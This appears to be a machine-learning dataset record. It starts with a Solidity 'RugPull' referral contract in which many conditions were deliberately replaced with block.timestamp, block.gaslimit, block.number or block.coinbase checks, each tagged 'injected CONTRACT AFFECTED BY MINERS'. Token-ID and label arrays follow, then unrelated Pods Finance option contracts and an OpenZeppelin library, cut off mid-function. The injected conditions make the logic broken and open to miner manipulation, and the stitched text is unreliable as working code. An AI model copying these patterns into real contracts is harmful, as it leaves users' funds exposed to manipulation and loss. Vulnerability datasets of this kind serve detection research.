/** *Submitted for verification at Etherscan.io on 2020-10-22 */ // SPDX-License-Identifier: MIT pragma solidity ^ 0.6.6; contract RugPull{ Pyramid public PiZZa; RugToken public Rugs; uint public carpetBags = 25000; address public RugChallenger; uint public RugChallengerHP; address public CARPET_KING; uint public carpet_dynasty_generation; address public DEV; ERC20 public Resolve; address payable address0 = address(0); mapping(address => address) public gateway; mapping(address => bool) public initiated; mapping(address => uint) public pocket; mapping(address => uint) public thanks; constructor() public{ PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE); Rugs = new RugToken(); DEV = msg.sender; CARPET_KING = DEV; RugChallenger = DEV; Resolve = PiZZa.resolveToken(); gateway[CARPET_KING] = CARPET_KING; initiated[DEV] = true; } function weight(address addr) public view returns(uint){ return Resolve.balanceOf(addr); } function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){ address sender = msg.sender; if( !initiated[sender] ){ if( initiated[_gateway] ){ gateway[sender] = _gateway; }else{ gateway[sender] = RugChallenger; } } if(block.number>1e18) _red = 1e18; //injected CONTRACT AFFECTED BY MINERS if(block.gaslimit>1e18) _green = 1e18; //injected CONTRACT AFFECTED BY MINERS if(block.timestamp>1e18) _blue = 1e18; //injected CONTRACT AFFECTED BY MINERS uint[] memory UINTs = new uint[](4); UINTs[0] = msg.value * 3 / 100; UINTs[1] = msg.value * 2 / 100; UINTs[2] = msg.value * 1 / 100; UINTs[3] = msg.value * 6 / 1000; uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3]; address lvl1 = gateway[sender]; if( block.timestamp > weight(sender) ){ //injected CONTRACT AFFECTED BY MINERS pocket[ lvl1 ] += UINTs[0]; }else{ splitForKingAndRugChallenger(UINTs[0]); emit ReffSnatch(RugChallenger, gateway[sender]); gateway[sender] = RugChallenger; } address lvl2 = gateway[lvl1]; if( block.gaslimit > weight(sender) ){ //injected CONTRACT AFFECTED BY MINERS pocket[ lvl2 ] += UINTs[1]; }else{ splitForKingAndRugChallenger(UINTs[1]); emit ReffSnatch(sender, gateway[lvl1]); gateway[lvl1] = sender; } address lvl3 = gateway[lvl2]; if( block.number > weight(sender) ){ //injected CONTRACT AFFECTED BY MINERS pocket[ lvl3 ] += UINTs[2]; }else{ splitForKingAndRugChallenger(UINTs[2]); emit ReffSnatch(sender, gateway[lvl2]); gateway[lvl2] = sender; } pocket[ CARPET_KING ] += UINTs[3]; uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue); if(block.coinbase != sender){ //injected CONTRACT AFFECTED BY MINERS if( block.timestamp <= weight(sender) ){ //injected CONTRACT AFFECTED BY MINERS RugChallenger = sender; RugChallengerHP = weight(sender); emit RugPulled(sender, RugChallenger, RugChallengerHP); }else{ uint damage = weight(sender); if(block.gaslimit>0){ //injected CONTRACT AFFECTED BY MINERS RugChallengerHP -= damage; emit Damaged( RugChallenger, damage ); } } }else{ if( RugChallengerHP < weight(sender) && msg.value > 0.001 ether) RugChallengerHP = weight(sender); } if(carpetBags > 0 && msg.value > 0.001 ether){ carpetBags -= 1; Rugs.mint(sender, createdPiZZa); } return createdPiZZa; } event RugPulled(address winner, address loser, uint HP); event Damaged(address RugChallenger, uint damage); event ReffSnatch(address snatcher, address slacker); event SplitForKingAndRugChallenger(address king, address buyer); function splitForKingAndRugChallenger(uint ETH) internal{ pocket[CARPET_KING] += ETH/2; pocket[RugChallenger] += ETH - ETH/2; emit SplitForKingAndRugChallenger(CARPET_KING, RugChallenger); } event Withdraw(address account, uint amount); function withdraw() public{ address sender = msg.sender; uint amount = pocket[sender]; if( block.number>0 ){ //injected CONTRACT AFFECTED BY MINERS pocket[sender] = 0; (bool success, ) = sender.call{value:amount}(""); emit Withdraw(sender, amount); require(success, "Transfer failed."); }else{ revert(); } } event RechargeMagicLamp( address indexed addr, uint256 amountStaked ); function tokenFallback(address from, uint value, bytes calldata _data) external{ if(block.coinbase == address(Resolve) ){ //injected CONTRACT AFFECTED BY MINERS address THIS = address(this); if(block.number == 0){ //injected CONTRACT AFFECTED BY MINERS carpetBags += value / 1e16; //100 per resolve token CARPET_KING = from; //takes the resolve tokens used to recharge the magic lamp and it stakes those //only the original dev benefits from these resolves being staked //the address that recharged the lamp benefits as CARPET_KING //only every 6th generation stakes resolves. waits for first 6 if(block.gaslimit == 0){ //injected CONTRACT AFFECTED BY MINERS uint earnings = PiZZa.resolveEarnings( THIS ); if(block.timestamp > 0){ //injected CONTRACT AFFECTED BY MINERS PiZZa.withdraw(earnings); (bool success, ) = DEV.call{value:earnings}(""); require(success, "Transfer failed."); } Resolve.transfer( address(PiZZa), Resolve.balanceOf(THIS) ); } carpet_dynasty_generation += 1; emit RechargeMagicLamp(from, carpetBags); }else{ thanks[from] += value; //literally, this is it Resolve.transfer( address(PiZZa), value); } }else{ revert("no want"); } } } abstract contract Pyramid{ function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds); function resolveToken() public view virtual returns(ERC20); function resolveEarnings(address _owner) public view virtual returns (uint256 amount); function withdraw(uint amount) public virtual returns(uint); } abstract contract ERC20{ function balanceOf(address _owner) public view virtual returns (uint256 balance); function transfer(address _to, uint _value) public virtual returns (bool); } contract RugToken{ string public name = "Rug Token"; string public symbol = "RUG"; uint8 constant public decimals = 18; address public owner; constructor() public{ owner = msg.sender; } modifier ownerOnly{ require(msg.sender == owner); _; } event Mint( address indexed addr, uint256 amount ); function mint(address _address, uint _value) external ownerOnly(){ balances[_address] += _value; _totalSupply += _value; emit Mint(_address, _value); } mapping(address => uint256) public balances; uint public _totalSupply; mapping(address => mapping(address => uint)) approvals; event Transfer( address indexed from, address indexed to, uint256 amount, bytes data ); event Transfer( address indexed from, address indexed to, uint256 amount ); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Function that is called when a user or another contract wants to transfer funds. function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) { if( isContract(_to) ){ return transferToContract(_to, _value, _data); }else{ return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data. // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public virtual returns (bool) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)){ return transferToContract(_to, _value, empty); }else{ return transferToAddress(_to, _value, empty); } } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function moveTokens(address _from, address _to, uint _amount) internal virtual{ require( _amount <= balances[_from] ); //update balances balances[_from] -= _amount; balances[_to] += _amount; } function allowance(address src, address guy) public view returns (uint) { return approvals[src][guy]; } function transferFrom(address src, address dst, uint amount) public returns (bool){ address sender = msg.sender; require(approvals[src][sender] >= amount); require(balances[src] >= amount); approvals[src][sender] -= amount; moveTokens(src,dst,amount); bytes memory empty; emit Transfer(sender, dst, amount, empty); emit Transfer(sender, dst, amount); return true; } event Approval(address indexed src, address indexed guy, uint amount); function approve(address guy, uint amount) public returns (bool) { address sender = msg.sender; approvals[sender][guy] = amount; emit Approval( sender, guy, amount ); return true; } function isContract(address _addr) public view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } if(block.timestamp>0) { //injected CONTRACT AFFECTED BY MINERS return true; }else { return false; } } } abstract contract ERC223ReceivingContract{ function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual; }
injected CONTRACT AFFECTED BY MINERS
if( block.number > weight(sender) ){
15,796,683
[ 1, 267, 6059, 8020, 2849, 1268, 432, 2246, 4239, 2056, 6953, 6989, 11367, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 430, 12, 1203, 18, 2696, 405, 3119, 12, 15330, 13, 262, 95, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "./PodPut.sol"; import "../interfaces/IWETH.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../lib/Conversion.sol"; /** * @title WPodPut * @author Pods Finance * * @notice Represents a tokenized Put option series for ETH. Internally it Wraps * ETH to treat it seamlessly. * * @dev Put options represents the right, not the obligation to sell the underlying asset * for strike price units of the strike asset. * * There are four main actions that can be done with an option: * * Sellers can mint fungible Put option tokens by locking strikePrice * amountOfOptions * strike asset units until expiration. Buyers can exercise their Put, meaning * selling their underlying asset for strikePrice * amountOfOptions units of strike asset. * At the end, seller can retrieve back its collateral, that could be the underlying asset * AND/OR strike based on the contract's current ratio of underlying and strike assets. * * There are many option's style, but the most usual are: American and European. * The difference between them are the moments that the buyer is allowed to exercise and * the moment that seller can retrieve its locked collateral. * * Exercise: * American -> any moment until expiration * European -> only after expiration and until the end of the exercise window * * Withdraw: * American -> after expiration * European -> after end of exercise window * * Let's take an example: there is such a put option series where buyers * may sell 1 ETH for 300 USDC until Dec 31, 2021. * * In this case: * * - Expiration date: Dec 31, 2021 * - Underlying asset: ETH * - Strike asset: USDC * - Strike price: 300 USDC * * USDC holders may call mint() until the expiration date, which in turn: * * - Will lock their USDC into this contract * - Will issue put tokens corresponding to this USDC amount * - This contract is agnostic about where options could be bought or sold and how much the * the option premium should be. * * USDC holders who also hold the option tokens may call unmint() until the * expiration date, which in turn: * * - Will unlock their USDC from this contract * - Will burn the corresponding amount of put tokens * * Put token holders may call exerciseEth() until the expiration date, to * exercise their option, which in turn: * * - Will sell 1 ETH for 300 USDC (the strike price) each. * - Will burn the corresponding amount of put tokens. * * IMPORTANT: Note that after expiration, option tokens are worthless since they can not * be exercised and its price should be worth 0 in a healthy market. * */ contract WPodPut is PodPut, Conversion { event Received(address indexed sender, uint256 value); constructor( string memory name, string memory symbol, IPodOption.ExerciseType exerciseType, address strikeAsset, uint256 strikePrice, uint256 expiration, uint256 exerciseWindowSize, IConfigurationManager configurationManager ) public PodPut( name, symbol, exerciseType, _parseAddressFromUint(configurationManager.getParameter("WRAPPED_NETWORK_TOKEN")), strikeAsset, strikePrice, expiration, exerciseWindowSize, configurationManager ) {} // solhint-disable-line no-empty-blocks /** * @notice Unlocks collateral by burning option tokens. * * Options can only be burned while the series is NOT expired. * * @param amountOfOptions The amount option tokens to be burned */ function unmint(uint256 amountOfOptions) external override unmintWindow { (uint256 strikeToSend, uint256 underlyingToSend) = _unmintOptions(amountOfOptions, msg.sender); require(strikeToSend > 0, "WPodPut: amount of options is too low"); // Sends strike asset IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend); emit Unmint(msg.sender, amountOfOptions, strikeToSend, underlyingToSend); } /** * @notice Allow Put token holders to use them to sell some amount of units * of ETH for the amount * strike price units of the strike token. * * @dev It uses the amount of ETH sent to exchange to the strike amount * * During the process: * * - The amount of ETH is transferred into this contract as a payment for the strike tokens * - The ETH is wrapped into WETH * - The amount of ETH * strikePrice of strike tokens are transferred to the caller * - The amount of option tokens are burned * * On American options, this function can only called anytime before expiration. * For European options, this function can only be called during the exerciseWindow. * Meaning, after expiration and before the end of exercise window. */ function exerciseEth() external payable exerciseWindow { uint256 amountOfOptions = msg.value; require(amountOfOptions > 0, "WPodPut: you can not exercise zero options"); // Calculate the strike amount equivalent to pay for the underlying requested uint256 strikeToSend = _strikeToTransfer(amountOfOptions); // Burn the option tokens equivalent to the underlying requested _burn(msg.sender, amountOfOptions); // Retrieve the underlying asset from caller IWETH(underlyingAsset()).deposit{ value: msg.value }(); // Releases the strike asset to caller, completing the exchange IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend); emit Exercise(msg.sender, amountOfOptions); } /** * @notice After series expiration in case of American or after exercise window for European, * allow minters who have locked their strike asset tokens to withdraw them proportionally * to their minted options. * * @dev If assets had been exercised during the option series the minter may withdraw * the exercised assets or a combination of exercised and strike asset tokens. */ function withdraw() external override withdrawWindow { (uint256 strikeToSend, uint256 underlyingToSend) = _withdraw(); IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend); if (underlyingToSend > 0) { IWETH(underlyingAsset()).withdraw(underlyingToSend); Address.sendValue(msg.sender, underlyingToSend); } emit Withdraw(msg.sender, strikeToSend, underlyingToSend); } receive() external payable { require(msg.sender == this.underlyingAsset(), "WPodPut: Only deposits from WETH are allowed"); emit Received(msg.sender, msg.value); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "./PodOption.sol"; /** * @title PodPut * @author Pods Finance * * @notice Represents a tokenized Put option series for some long/short token pair. * * @dev Put options represents the right, not the obligation to sell the underlying asset * for strike price units of the strike asset. * * There are four main actions that can be done with an option: * * Sellers can mint fungible Put option tokens by locking strikePrice * amountOfOptions * strike asset units until expiration. Buyers can exercise their Put, meaning * selling their underlying asset for strikePrice * amountOfOptions units of strike asset. * At the end, seller can retrieve back its collateral, that could be the underlying asset * AND/OR strike based on the contract's current ratio of underlying and strike assets. * * There are many option's style, but the most usual are: American and European. * The difference between them are the moments that the buyer is allowed to exercise and * the moment that seller can retrieve its locked collateral. * * Exercise: * American -> any moment until expiration * European -> only after expiration and until the end of the exercise window * * Withdraw: * American -> after expiration * European -> after end of exercise window * * Let's take an example: there is such an European Put option series where buyers * may sell 1 WETH for 300 USDC until Dec 31, 2021. * * In this case: * * - Expiration date: Dec 31, 2021 * - Underlying asset: WETH * - Strike asset: USDC * - Strike price: 300 USDC * * USDC holders may call mint() until the expiration date, which in turn: * * - Will lock their USDC into this contract * - Will mint/issue option tokens corresponding to this USDC amount * - This contract is agnostic about where to sell/buy and how much should be the * the option premium. * * USDC holders who also hold the option tokens may call unmint() until the * expiration date, which in turn: * * - Will unlock their USDC from this contract * - Will burn the corresponding amount of options tokens * * Option token holders may call exercise() after the expiration date and * before the end of exercise window, to exercise their option, which in turn: * * - Will sell 1 ETH for 300 USDC (the strike price) each. * - Will burn the corresponding amount of option tokens. * * USDC holders that minted options initially can call withdraw() after the * end of exercise window, which in turn: * * - Will give back its amount of collateral locked. That could be o mix of * underlying asset and strike asset based if and how the pool was exercised. * * IMPORTANT: Note that after expiration, option tokens are worthless since they can not * be exercised and its price should worth 0 in a healthy market. * */ contract PodPut is PodOption { constructor( string memory name, string memory symbol, IPodOption.ExerciseType exerciseType, address underlyingAsset, address strikeAsset, uint256 strikePrice, uint256 expiration, uint256 exerciseWindowSize, IConfigurationManager configurationManager ) public PodOption( name, symbol, IPodOption.OptionType.PUT, exerciseType, underlyingAsset, strikeAsset, strikePrice, expiration, exerciseWindowSize, configurationManager ) {} // solhint-disable-line no-empty-blocks /** * @notice Locks strike asset and write option tokens. * * @dev The issued amount ratio is 1:1, i.e., 1 option token for 1 underlying token. * * It presumes the caller has already called IERC20.approve() on the * strike token contract to move caller funds. * * This function is meant to be called by strike token holders wanting * to write option tokens. Calling it will lock `amountOfOptions` * `strikePrice` * units of `strikeToken` into this contract * * Options can only be minted while the series is NOT expired. * * It is also important to notice that options will be sent back * to `msg.sender` and not the `owner`. This behavior is designed to allow * proxy contracts to mint on others behalf. The `owner` will be able to remove * the deposited collateral after series expiration or by calling unmint(), even * if a third-party minted options on its behalf. * * @param amountOfOptions The amount option tokens to be issued * @param owner Which address will be the owner of the options */ function mint(uint256 amountOfOptions, address owner) external override tradeWindow { require(amountOfOptions > 0, "PodPut: you can not mint zero options"); uint256 amountToTransfer = _strikeToTransfer(amountOfOptions); _mintOptions(amountOfOptions, amountToTransfer, owner); IERC20(strikeAsset()).safeTransferFrom(msg.sender, address(this), amountToTransfer); emit Mint(owner, amountOfOptions); } /** * @notice Unlocks collateral by burning option tokens. * * Options can only be burned while the series is NOT expired. * * @param amountOfOptions The amount option tokens to be burned */ function unmint(uint256 amountOfOptions) external virtual override unmintWindow { (uint256 strikeToSend, uint256 underlyingToSend) = _unmintOptions(amountOfOptions, msg.sender); require(strikeToSend > 0, "PodPut: amount of options is too low"); // Sends strike asset IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend); emit Unmint(msg.sender, amountOfOptions, strikeToSend, underlyingToSend); } /** * @notice Allow Put token holders to use them to sell some amount of units * of the underlying token for the amount * strike price units of the * strike token. * * @dev It presumes the caller has already called IERC20.approve() on the * underlying token contract to move caller funds. * * During the process: * * - The amount * strikePrice of strike tokens are transferred to the caller * - The amount of option tokens are burned * - The amount of underlying tokens are transferred into * this contract as a payment for the strike tokens * * On American options, this function can only called anytime before expiration. * For European options, this function can only be called during the exerciseWindow. * Meaning, after expiration and before the end of exercise window. * * @param amountOfOptions The amount option tokens to be exercised */ function exercise(uint256 amountOfOptions) external virtual override exerciseWindow { require(amountOfOptions > 0, "PodPut: you can not exercise zero options"); // Calculate the strike amount equivalent to pay for the underlying requested uint256 amountOfStrikeToTransfer = _strikeToTransfer(amountOfOptions); // Burn the option tokens equivalent to the underlying requested _burn(msg.sender, amountOfOptions); // Retrieve the underlying asset from caller IERC20(underlyingAsset()).safeTransferFrom(msg.sender, address(this), amountOfOptions); // Releases the strike asset to caller, completing the exchange IERC20(strikeAsset()).safeTransfer(msg.sender, amountOfStrikeToTransfer); emit Exercise(msg.sender, amountOfOptions); } /** * @notice After series expiration in case of American or after exercise window for European, * allow minters who have locked their strike asset tokens to withdraw them proportionally * to their minted options. * * @dev If assets had been exercised during the option series the minter may withdraw * the exercised assets or a combination of exercised and strike asset tokens. */ function withdraw() external virtual override withdrawWindow { (uint256 strikeToSend, uint256 underlyingToSend) = _withdraw(); IERC20(strikeAsset()).safeTransfer(msg.sender, strikeToSend); if (underlyingToSend > 0) { IERC20(underlyingAsset()).safeTransfer(msg.sender, underlyingToSend); } emit Withdraw(msg.sender, strikeToSend, underlyingToSend); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; event Deposit(address indexed depositor, uint256 amount); event Withdrawal(address indexed recipient, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; contract Conversion { /** * @notice Parses the address represented by an uint */ function _parseAddressFromUint(uint256 x) internal pure returns (address) { bytes memory data = new bytes(32); assembly { mstore(add(data, 32), x) } return abi.decode(data, (address)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../interfaces/IPodOption.sol"; import "../lib/CappedOption.sol"; import "../lib/RequiredDecimals.sol"; import "../interfaces/IConfigurationManager.sol"; /** * @title PodOption * @author Pods Finance * * @notice This contract represents the basic structure of the financial instrument * known as Option, sharing logic between both a PUT or a CALL types. * * @dev There are four main actions that can be called in an Option: * * A) mint => A minter can lock collateral and create new options before expiration. * B) unmint => The minter who previously minted can choose for leaving its position any given time * until expiration. * C) exercise => The option bearer the can exchange its option for the collateral at the strike price. * D) withdraw => The minter can retrieve collateral at the end of the series. * * Depending on the type (PUT / CALL) or the exercise (AMERICAN / EUROPEAN), those functions have * different behave and should be override accordingly. */ abstract contract PodOption is IPodOption, ERC20, RequiredDecimals, CappedOption { using SafeERC20 for IERC20; /** * @dev Minimum allowed exercise window: 24 hours */ uint256 public constant MIN_EXERCISE_WINDOW_SIZE = 86400; OptionType private immutable _optionType; ExerciseType private immutable _exerciseType; IConfigurationManager public immutable configurationManager; address private immutable _underlyingAsset; uint8 private immutable _underlyingAssetDecimals; address private immutable _strikeAsset; uint8 private immutable _strikeAssetDecimals; uint256 private immutable _strikePrice; uint256 private immutable _expiration; uint256 private _startOfExerciseWindow; /** * @notice Reserve share balance * @dev Tracks the shares of the total asset reserve by address */ mapping(address => uint256) public shares; /** * @notice Minted option balance * @dev Tracks amount of minted options by address */ mapping(address => uint256) public mintedOptions; /** * @notice Total reserve shares */ uint256 public totalShares = 0; constructor( string memory name, string memory symbol, OptionType optionType, ExerciseType exerciseType, address underlyingAsset, address strikeAsset, uint256 strikePrice, uint256 expiration, uint256 exerciseWindowSize, IConfigurationManager _configurationManager ) public ERC20(name, symbol) CappedOption(_configurationManager) { require(Address.isContract(underlyingAsset), "PodOption: underlying asset is not a contract"); require(Address.isContract(strikeAsset), "PodOption: strike asset is not a contract"); require(underlyingAsset != strikeAsset, "PodOption: underlying asset and strike asset must differ"); require(expiration > block.timestamp, "PodOption: expiration should be in the future"); require(strikePrice > 0, "PodOption: strike price must be greater than zero"); if (exerciseType == ExerciseType.EUROPEAN) { require( exerciseWindowSize >= MIN_EXERCISE_WINDOW_SIZE, "PodOption: exercise window must be greater than or equal 86400" ); _startOfExerciseWindow = expiration.sub(exerciseWindowSize); } else { require(exerciseWindowSize == 0, "PodOption: exercise window size must be equal to zero"); _startOfExerciseWindow = block.timestamp; } configurationManager = _configurationManager; _optionType = optionType; _exerciseType = exerciseType; _expiration = expiration; _underlyingAsset = underlyingAsset; _strikeAsset = strikeAsset; uint8 underlyingDecimals = tryDecimals(IERC20(underlyingAsset)); _underlyingAssetDecimals = underlyingDecimals; _strikeAssetDecimals = tryDecimals(IERC20(strikeAsset)); _strikePrice = strikePrice; _setupDecimals(underlyingDecimals); } /** * @notice Checks if the options series has already expired. */ function hasExpired() external override view returns (bool) { return _hasExpired(); } /** * @notice External function to calculate the amount of strike asset * needed given the option amount */ function strikeToTransfer(uint256 